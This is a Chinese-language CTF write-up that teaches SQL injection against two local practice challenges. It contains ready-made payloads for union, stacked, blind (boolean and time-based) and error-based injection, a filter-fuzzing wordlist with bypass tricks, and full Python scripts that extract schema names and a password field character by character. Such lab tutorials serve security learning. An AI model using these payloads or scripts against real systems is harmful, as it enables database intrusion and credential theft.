web入门小结-sql注入

发布于 2024-07-25  589 次阅读


基础知识

1.数据库结构

数据库-数据表-字段-数据
DB-Tables-Colomns-Data
image_mak

2.information_schemata库

存放整个数据库系统的信息。
包括所有库、表、字段。

schemata:所有库的信息

image_mak

tables:所有表的信息

image_mak

colomns:所有字段的信息

image_mak

3.数据库语句

CTF需要掌握的数据库语句:

SELECT trueName from students where signId = 270001;

trueName:要返回的数据
students:要查的表
signId=270001:需要满足的条件

show databases/tables;

返回所有数据库/当前数据库下的所有表

例题 :sqltest

image_mak无过滤,多种方式拿flag。

1.万能密码
SELECT trueName from students where signId = '${USERINPUT}';

如果输入1' or '1'='1,则语句变为:

SELECT signId,trueName,email from students where signId = '1' or '1'='1';

where后的条件永真,会输出当前表的所有数据。
image_mak但是flag不在这里,对这道题没用。(一些登陆验证会有用)

2.联合注入

UNION SELECT 会在返回的结果中加入union select后的内容

SELECT signId,trueName,email from students where signId = '${USERINPUT}';

如果输入270001' union select 1,1,1;#,则语句变为:

SELECT signId,trueName,email from students where signId = '270001' union select 1,1,1;#';

#注释符会把最后的';注释掉。
image_mak注意union后跟的数据个数必须与被查询的列个数相等
如果不确定,可以通过order by来确定。
image_makimage_mak利用union联合注入可以对information_schemata的表进行查询,了解数据库信息。

查询所有库名:

SELECT schema_name FROM information_schema.schemata

因此payload为:

1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata);#

GROUP_CONCAT将这一列的所有结果作为一个元素显示,避免元素个数不匹配。
image_mak明显flag在库flagdb中
对应地,查询flagdb的表名:

1' union select 1,1,(SELECT group_concat(table_name) from information_schema.tables where table_schema = 'flagdb');#

image_mak有表flagtb。查询flagtb的所有字段:

1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flagtb');#

image_mak查询表中的password:

1' union select 1,1,(SELECT password FROM flagdb.flagtb);#

image_mak
(trick:如果遇到结果只返回查到的第一条数据,则查询一个不存在的数据即可。如-1,或者直接为空)

3.堆叠注入

如果注入:

1';show databases;#

则语句变为:

SELECT signId,trueName,email from students where signId = '1';show databases;#';

会执行show databases。

image_mak
查看flagdb库的数据表: 1';use flagdb;show tables;#
image_mak查看flagtb的数据:1';select * from flagdb.flagtb;#
image_mak

4.盲注

当无回显或者只回显查询成功与否,或union,;等被过滤时,可以考虑盲注。
布尔盲注payload:

270001' and ascii(substr((select group_concat(schema_name)from information_schema.schemata),1,1))=1#

substr(str,start.length)用法:取str从start位置开始的length个字符
因此执行的sql语句为:

SELECT signId,trueName,email from students where signId = '270001' and ascii(substr((select group_concat(schema_name)from information_schema.schemata),1,1))=1#';

需同时满足 signId = '270001' 和ascii(substr((select group_concat(schema_name)from information_schema.schemata),1,1))=1才能返回对应数据。
即可以用于判断(select group_concat(schema_name)from information_schema.schemata)的结果的第一个字符的ascii码是否为97,即第一个字符是否为a。
利用这一点将结果的所有字符全部爆出来即可。下面是脚本。

import requests
url="http://127.0.0.1:6001/query"
data={"sql":"270001"}
r=requests.post(url,data=data)
if r.text:
    print("connected.")
else:
    print("connection failed.")

#爆出数据库
dbs=""
#j遍历查询结果的所有字符位置
for j in range(0,70):
    #i遍历所有可见字符的ascii码
    for i in range(32,126):
        data={"sql":f"270001' and ascii(substr((select group_concat(schema_name)from information_schema.schemata),{j},1))={i}#"}
        res=requests.post(url,data=data).text
        # 如果代表邮箱的@出现在结果中,说明条件为真,查询成功
        if "@" in res:
            dbs+=chr(i)
print("Databases:",dbs)

# 同理,爆出数据表
tbs=""
for j in range(0,50):
    for i in range(32,126):
        data={"sql":f"270001' and ascii(substr((SELECT group_concat(table_name) from information_schema.tables where table_schema = 'flagdb'),{j},1))={i}#"}
        res=requests.post(url,data=data).text
        if "@" in res:
            tbs+=chr(i)
print("tables:",tbs)

# 爆出表中的列名
clms=""
for j in range(0,50):
    for i in range(32,126):
        data={"sql":f"1' or ascii(substr((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name like 'flagtb' ),{j},1))=({i})#"}
        res=requests.post(url,data=data).text
        if "@" in res:
            clms+=chr(i)
print("columns:",clms)

# 爆出password字段的值
flag=""
for j in range(0,50):
    for i in range(32,126):
        data={"sql":f"1' or ascii(substr((SELECT password FROM flagdb.flagtb),{j},1))= {i}#"}
        res=requests.post(url,data=data).text
        if "@" in res:
            flag+=chr(i)
print("flag:",flag)

执行结果:
image_mak
如果成功与否也不回显,可以使用时间盲注。
时间盲注payload:

1' and if(substr((select group_concat(schema_name)from information_schema.schemata),1,1)='a',sleep(5),0);#

if(A,B,C)用法:A若为真,执行B,否则执行C
这句payload会使mysql判断(select group_concat(schema_name)from information_schema.schemata)的第一个值是否为a,若为a则暂停程序5秒。
可用1' and sleep(5);#判断是否存在时间盲注

5.报错注入

当报错时回显报错信息时,可以使用。
测试方法:注入1',发现有报错信息
image_mak1、updatexml
update有三个参数用于更新xml,第二个为xpath的路径,如果xpath语法不正确,就会将xpath路径回显并报错。
例如注入1' and updatexml(1,"~",1);#
image_mak将“~”回显了出来。
构造payload为:

1' and updatexml(1,concat("~",(select group_concat(schema_name)from information_schema.schemata),"~"),1);#

image_mak回显信息不完整,利用substr截取后面的部分即可。

1' and updatexml(1,concat("~",substr((select group_concat(schema_name)from information_schema.schemata),30,100),"~"),1);#

image_mak最后出flag的payload:

1' and updatexml(1,concat("~",(select password from flagdb.flagtb),"~"),1);#

image_mak2.extractvalue
大同小异,两个参数,第二个参数为xpath,如果有~等字符也会触发xpath的语法报错。

1' and extractvalue(1,concat("~",(select password from flagdb.flagtb),"~"));#

例题:sqlfuzz

题目ban了一些sql注入的字符串。输入union:
image_mak不知道ban了哪些,可以进行一个fuzz
fuzz字典(自编,参考)

'
"
#
-
--

and
select
insert
as
or
procedure
limit
order
by
asc
desc
delete
update
distinct
having
truncate
replace
like
handler
|
%7C
(
%28
)
%29
&
%26
!
%21
/
'
?
union
select
insert
as
or
procedure
limit
asc
desc
delete
distinct
having
truncate
replace
like
handler
bfilename
updatexml
extractvalue
&
!
=
;
?
+
if

利用burp的爆破模块进行fuzz
查找含有hack me的包,发现这些被过滤。
image_mak过滤空格:用括号绕过,如SELECT A FROM B WHERE C=D
改成SELECT(A)FROM(B)WHERE(C=D)
过滤and:and相当于&&
过滤=:like有=的作用
解法:select没被过滤,可以考虑盲注(也有其他解法)
脚本:

import requests
url="http://127.0.0.1:6002/"
data={"sql":"270001"}
r=requests.post(url,data=data)
if r.text:
    print("connected.")
else:
    print("connection failed.")

dbs=""
for j in range(0,50):
    for i in range(32,126):
        data={"sql":f"1'or(ascii(substr((SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata)),{j},1))like({i}))#"}
        res=requests.post(url,data=data).text
        if not "未找到" in res:
            dbs+=chr(i)
print("database:",dbs)

tbs=""
for j in range(0,50):
    for i in range(32,126):
        data={"sql":f"1'or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('flagdb'))),{j},1))like({i}))#"}
        res=requests.post(url,data=data).text
        if not "未找到" in res:
            tbs+=chr(i)
print("tables:",tbs)

clms=""
for j in range(0,50):
    for i in range(32,126):
        data={"sql":f"1'or(ascii(substr((SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE((table_name)like('flagtb'))),{j},1))like({i}))#"}
        res=requests.post(url,data=data).text
        if not "未找到" in res:
            clms+=chr(i)
print("columns:",clms)

flag=""
for j in range(0,50):
    for i in range(32,126):
        data={"sql":f"1'or(ascii(substr((SELECT(password)FROM(flagdb.flagtb)),{j},1))like({i}))#"}
        res=requests.post(url,data=data).text
        if not "未找到" in res:
            flag+=chr(i)
print("flag:",flag)

image_mak

A web ctfer from 0RAYS
最后更新于 2024-08-26